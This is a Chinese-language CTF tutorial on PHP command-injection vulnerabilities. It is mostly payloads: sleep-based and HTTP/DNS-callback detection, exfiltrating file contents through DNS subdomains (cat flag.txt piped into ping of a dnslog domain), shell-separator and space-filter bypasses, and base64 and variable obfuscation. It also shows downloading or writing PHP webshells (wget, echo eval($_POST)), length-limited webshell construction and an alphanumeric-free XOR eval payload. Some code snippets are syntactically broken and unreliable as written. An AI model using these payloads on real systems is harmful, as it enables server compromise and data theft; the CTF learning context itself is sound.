0%

CTF-命令执行

命令执行

简单介绍

1
用户通过浏览器提交执行命令,由于服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者从$PATH或程序执行环境的其他方面来执行一个恶意构造的代码
1
2
3
4
5
命令执行与代码执行区别:
1、命令执行漏洞:直接调用操作系统命令
直接
2、代码执行漏洞:靠执行脚本代码调用操作系统命令
间接

命令执行函数

了解相关函数

参考文档

https://www.php.net/manual/zh/ref.exec.php

1
2
3
4
5
6
system函数
exec函数
shell_exec函数
passthru函数 可以直接执行并输出结果
``反引号与shell_exec函数类似。

命令执行分类

根据有无输出结果,有无回显分类

判断是否存在命令执行姿势

1
2
3
1、根据页面响应延时
2、发送http请求,http服务端显示请求
3、发送dns请求,dns服务端显示请求

延时执行

在shell命令中,具有sleep命令可完成延时执行。

1
2
ls -alh |sleep 3
-alh显示所有文件,有利于我们观察,管道符(分隔符也可以,分别执行),前面输出结果作为后面的输入。

利用于无回显漏洞代码

1
2
3
4
<?php
shell_exec($_GET['cmd']);
?>
此命令不会将结果输出,我们通过延时执行判断是否存在命令执行。

http请求端口监听

服务端设置监听80端口,等待连接,输出相应

1
2
3
nc -lvp 80

python -m SimpleHTTPServer -p 80
1
2
curl 服务端ip地址:80
通过curl进行连接
1
2
3
4
5
6
<?php
shell_exec($_GET['cmd']);
?>
访问
?cmd=curl ip:80
若出现请求则存在命令执行漏洞。

dns请求

网站

http://dnslog.cn/

http://ceye.io/

1
2
3
访问
?cmd=ping -c 3 xxx.dnslog.cn
-c 设置ping次数

dnslog利用命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include(flag.txt)
$cmd='ping -c 3.GET['a'];'
echo $cmd;
$out=shell_exec($cmd);
?>
由于无回显,不能直接cat读取文件内容,
权限较高时,可以进行本地读取:
?a=;copy flag.txt flag.txt
然后直接访问flag.txt

方法二dns请求读取

去掉文本中的空格,然后把内容拼接到域名
sed s/空格/没有任何内容/替换文本内容为空,[[:space:]]表示代码中的空格
?a=`cat flag.txt|sed s/[[:space:]]//g.+子域名` g参数表示全局
域名只能出现数字、下划线、横杠、字母,如果ping命令不支持特殊符号,我们需要进行替换
?a=`cat flag.txt|sed s/[[:space:]]//g|tr "<|?|$|{|}|'|;|=>" "0"`.+子域名
替换为0
?a=`cat flag.txt|sed s/[[:space:]]//g|tr "<|?|$|{|}|'|;|=>" "1"`.+子域名
替换为1,对比猜出flag。

命令执行技巧

利用linux shell中特性

linux shell分隔符

1
2
3
4
5
6
%0a 
%0d
;
|
||前面错了,才会执行后面的。
&&
1
2
3
4
5
6
7
8
9
<?php
$a=$_GET['a'];
$b=shell_exec('echo '.$a);
echo $b;
?>

传入
?a=abc%0d`whoami`记得反引号
?a=abc;whoami

linux shell空格

1
2
3
4
%09
$IFS$9
${IFS}
$IFS

常见绕过技巧

1、重定义变量 绕过命令过滤

1
2
;a=l;b=s;$a$b
ls

2、base64编码

1
`echo base64编码| base64 -d`

长度限制命令执行

无长度限制,可上传webshell,下载webshell,并重命名为x.php

1
2
3
4
5
<?php
$cmd=$_GET['cmd'];
$output=shell_exec($cmd);
echo $output;
?>

当前用户对该目录具有读写权限

1
2
3
4
5
6
1、执行命令
wget ip/a mv a a.php

2、直接写入webshell
执行命令
echo <?php "eval($_POST[1];)" > a.php

存在长度限制

1
2
3
4
5
6
7
使用w>重定向,拼接,倒序执行,其中\是长命令分隔,可将一条命令在多行执行,这里没有使用到。
<?php eval($_POST[1]);?>
w>'?>'
W>'($_POST[]);'
W>'eval'
w>'<?php'
ls -t >1.php

无数字字母的执行

php生成异或代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$a='~@#$%^&*()_+/?.,<>-={}[]|';
for($i=0;$i<strlen($a);$i++)
for($j=0;$j<strlen($a);$j++){
if(ord($a[$i]^$a[$j])>64 && ord($a[$i]^$a[$j])<91){
echo $a[$i].' xor '.$a[$j].' is ';
echo chr(ord($a[$i]^$a[$j])).' ';
echo ord( $a[$i]^$a[$j]);
echo "\n";
}
else if(ord($a[$i]^$a[$j])>96 && ord($a[$i]^$a[$j])<122){
echo $a[$i].' xor '.$a[$j].' is ';
echo chr(ord($a[$i]^$a[$j])).' ';
echo ord($a[$i]^$a[$j]);
echo "\n";
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function getFlag(){
echo flag{'xxx'};
}
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9]+/"($code)){
die("no");
}
echo $code;
eval($code);
}else{
highlight_file(__FILE__)
}

最终payload:

1
?code=$_='<>{=@^['  ^ '[[/{,?<';$_();
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道